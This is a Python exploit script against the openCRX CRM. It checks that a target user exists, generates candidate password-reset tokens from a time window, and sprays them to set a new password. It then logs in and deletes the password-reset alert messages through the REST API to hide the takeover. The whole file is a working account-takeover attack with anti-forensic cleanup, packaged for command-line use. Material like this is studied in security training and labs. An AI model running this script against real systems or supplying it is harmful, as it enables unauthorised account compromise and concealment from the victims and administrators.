#!/usr/bin/python3 import time import sys import argparse from rich.console import Console from rich.progress import Progress from rich import print import re import requests import subprocess import os from bs4 import BeautifulSoup console = Console() def check_username(url, username): forgot_payload = { 'id': username } forgot_url = f"{url}/RequestPasswordReset.jsp" start_time_stamp = subprocess.run(r"date +%s%3N", shell = True, capture_output = True) time.sleep(1) console.log(f"[yellow][+] Start Time Stamp is: {start_time_stamp.stdout.decode().rstrip()}") res = requests.post(url = forgot_url, data = forgot_payload) if res.status_code == 200 and 'Unable to request password reset' in res.text: console.log(f"[bold red][-] Look's like {username} is not present on the openCRX installation") sys.exit(0) else: time.sleep(1) response_header_date = res.headers["Date"] stop_time_stamp = subprocess.run(r"date +%s%3N", shell = True, capture_output = True) console.log(f"[yellow][+] Stop Time Stamp is: {stop_time_stamp.stdout.decode().rstrip()}") console.log(f"[bold green][+] {username} user found!! Proceeding with further exploitation...") console.log(f"[yellow][+] Producing Time Stamp List...") compile_java = subprocess.run(r"javac openCRXtimeGen.java", shell = True, capture_output = True) if compile_java.returncode == 0: run_java = subprocess.run(f"java openCRXtimeGen {start_time_stamp.stdout.decode().rstrip()} {stop_time_stamp.stdout.decode().rstrip()} > time_stamps", shell = True, capture_output = True) if run_java.returncode == 0: console.log(f"[yellow][+] Time Stamp List produced successfully and it is stored in the [bold]time_stamps[/bold] file") def reset_password(url, time_stamp, username, password): reset_payload = { "t" : stamp, "p" : "CRX", "s" : "Standard", "id" : username, "password1" : password, "password2" : password } res = requests.post(url = url, data = reset_payload) if 'Unable to reset password' not in res.text: global reset_flag reset_flag = True return True else: return False def initial_check(url): res = requests.get(url) if res.status_code == 200 and "Login" in res.text: console.log(f"[bold green][+] OpenCRX Installation found") return True else: console.log(f"[bold red][-] OpenCRX Installation not found, please check the URL") return False def arg_parser(): parser = argparse.ArgumentParser(description="OpenCRX Reset Exploit") parser.add_argument('-u', dest = 'url', required = True, type = str, help = "URL of OpenCRX Application (URL where openCRX login page is found)") parser.add_argument('-user', dest = 'username', required = True, type = str, help = "Username whose password has to be changed") parser.add_argument('-pass', dest = 'password', required = True, type = str, help = "New Password") parser = parser.parse_args() return parser def login(url, username, password): login_payload = { 'j_username' : username, 'j_password' : password } session = requests.Session() session.trust_env = False res = session.get(f"{url}/ObjectInspectorServlet") if res.status_code == 200: console.log(f"[green][+] Got the JSESSIONID, Proceeding for authentication!!!") res = session.post(f"{url}/opencrx-core-CRX/j_security_check", data = login_payload, timeout = 60) if res.status_code == 200: console.log(f"[bold green][+] Successfully Authenticated as {username}") follow_up_url = re.findall(r"window.location.href='(.*)'", res.text)[0] request_id = re.findall(r"requestId=(.*)&event", follow_up_url)[0] console.log(f"[green][+] Retrieved the requestID: {request_id}") res = session.get(re.findall(r"window.location.href='(.*)'", res.text)[0], timeout = 60) res = session.get(f"{url}/ObjectInspectorServlet?requestId={request_id}&event=15¶meter=pane*(0)*reference*(0)*referenceName*(alert)", timeout = 60) if res.status_code == 200: console.log(f"[bold yellow][+] Trying to retrieve the alert ID's for mail deletion!!") soup = BeautifulSoup(res.text, 'lxml') hrefs = soup.find_all(lambda tag: tag.name == "a" and tag.has_attr('onmouseover')) alert_tokens = [] for href in hrefs: href = re.findall(r"alert(.*)origin", href.get('onmouseover')) if len(href) > 0: alert_token = href[0].strip('/').strip(')*') alert_tokens.append(alert_token) console.log(f"[green][+] Successfully retrieved all the Alert Token's") console.log(f"[yellow][*] Trying to authenticate on the API endpoint") rest_session = requests.Session() rest_base_url = url.replace("core", "rest") rest_res = rest_session.get(f"{rest_base_url}/org.opencrx.kernel.home1/provider/CRX/segment/Standard/userHome/guest/:api-ui", auth=(username, password)) if rest_res.status_code == 200: console.log(f"[green][+] Got the Rest JSESSIONID!!!") console.log(f"[bold yellow][*] Proceeding to check which of these alert ID's are related to password reset") for alert_token in alert_tokens: rest_res = rest_session.get(f"{rest_base_url}/org.opencrx.kernel.home1/provider/CRX/segment/Standard/userHome/guest/alert/{alert_token}") if "PasswordReset" in rest_res.text: #console.log(f"[green][+] Filtered all password reset alerts from all available alerts") counter = 0 for alert_token in alert_tokens: counter += 1 rest_res = rest_session.delete(f"{rest_base_url}/org.opencrx.kernel.home1/provider/CRX/segment/Standard/userHome/guest/alert/{alert_token}") if rest_res.status_code == 204: pass else: console.log(f"[bold red][-] Error deleting alert: {alert_token}") if(counter == len(alert_tokens)): console.log(f"[bold green][+] Successfully deleted all the password reset alerts!!!") if __name__ == '__main__': parser = arg_parser() if(bool(re.search('[h][t][t][p][s]\:\/\/', parser.url)) == False and bool(re.search('[h][t][t][p]\:\/\/', parser.url) == False)): console.log("[bold red][-] There is something wrong with the URL, it needs to have http:// or https://") sys.exit(0) else: url = parser.url username = parser.username password = parser.password console.log(f"[bold white]Given Details:") console.log(f"\t[bold white]URL: {url}") console.log(f"\t[bold white]Username: {username}") console.log(f"\t[bold white]Password: {password}") if initial_check(f"{url}/ObjectInspectorServlet"): check_username(url, username) reset_url = f"{url}/PasswordResetConfirm.jsp" reset_flag = False with open("time_stamps", "r") as read_obj: time_stamps = read_obj.readlines() with Progress(transient = True) as progress: task = progress.add_task("[green][+] Starting Time Stamp Spray!!!", total = len(time_stamps)) for stamp in time_stamps: stamp = stamp.split("\n")[0] #progress.console.print(f"Spraying stamp: {stamp}") #sys.stdout.write('\r') #sys.stdout.write(f"Spraying stamp: i") #sys.stdout.flush() reset_result = reset_password(reset_url, stamp.rstrip(), username, password) if reset_result: progress.stop() console.log(f"[green][+] Valid Timestamp found: {stamp}") console.log(f"[bold green][+] Successfully reset the password of {username} user to {password}") if os.path.exists(os.path.join(os.getcwd(), 'time_stamps')): os.remove(os.path.join(os.getcwd(), 'time_stamps')) os.remove(os.path.join(os.getcwd(), 'openCRXtimeGen.class')) console.log("[yellow][*] Removed the locally created time_stamps and java class files") break progress.advance(task) if not reset_flag: console.log(f"[bold red][-] Password Reset Failed!!! Please check the time stamps and try again!!") login(url, username, password)